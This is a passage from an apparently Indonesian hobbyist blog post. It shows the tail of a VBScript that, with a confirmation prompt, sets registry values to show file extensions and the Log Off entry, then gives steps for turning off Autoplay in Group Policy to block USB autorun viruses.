Reg.RegWrite “HKEY_CURRENT_USER\software\microsoft\windows\currentversion\explorer\advanced\HideFileExt”, “0?, “REG_DWORD”
end if
if msgbox(”Perlihatkan Log Off” , VbOkCancel) = VbOK then
Reg.RegWrite “HKEY_CURRENT_USER\software\microsoft\windows\currentversion\explorer\advanced\StartMenuLogoff”, “1?, “REG_DWORD”
end if
MsgBox”Registry kamu berhasil di optimasi, silakan logOff”, vbinformation,”Selamat”
MsgBox”creat3d bY giens-gien.blogspot.com”,
vbinformation,”Selamat”
—end–
nah nih untuk membuka/enable
run, hide file ext, dll.
simpan dengan .vbs
dan klik untuk mengeksekusi.
welcome to your imagine!!!
by gien_an
Mendisable Autorun
Seperti kita ketahui, beberapa virus menyebar melalui media penyimpanan baik flashdisk maupun cd-rom. Sedangkan untuk menambah daya tarik dari media penyimpanantersebut orang cenderung menambahkan autorun di dalamnya baik untuk memberi icon, label, membuka aplikasi secara otomatis, dsb. Namun sayangnya beberapa virus mampu untuk mengubah isi dari autorun tersebut menjadi auto-execute pada virus itu sendiri. So bagaimana caranya komp’uter kesayangan kita ndak kemasukan virus?! Salah satu cara untuk menghentikan virus yang menyebar melalui media penyimpanan seperti flashdisk dengan file autorun.inf adalah dengan mendisable autorun pada komputer kita, caranya sebagai berikut:
- masuk ke dalam pengaturan system yaitu gpedit.msc
- setelah muncul group policy, cari Administrative Templates di bawah subUser Configuration
- masuk ke system, cari Turnoff Autoplay
- setelah itu double click, dan pada teab setting pilih radio button enable,
- Pada pilihan Turn off Autoplay on : pilih All Drive
Memang mungkin flashsidk kita tidak se–menawan dahulu, namun segala sesuatu ada konsekwensinya, silakan pilih gaya atau virus?
thx bwt kang Maoels....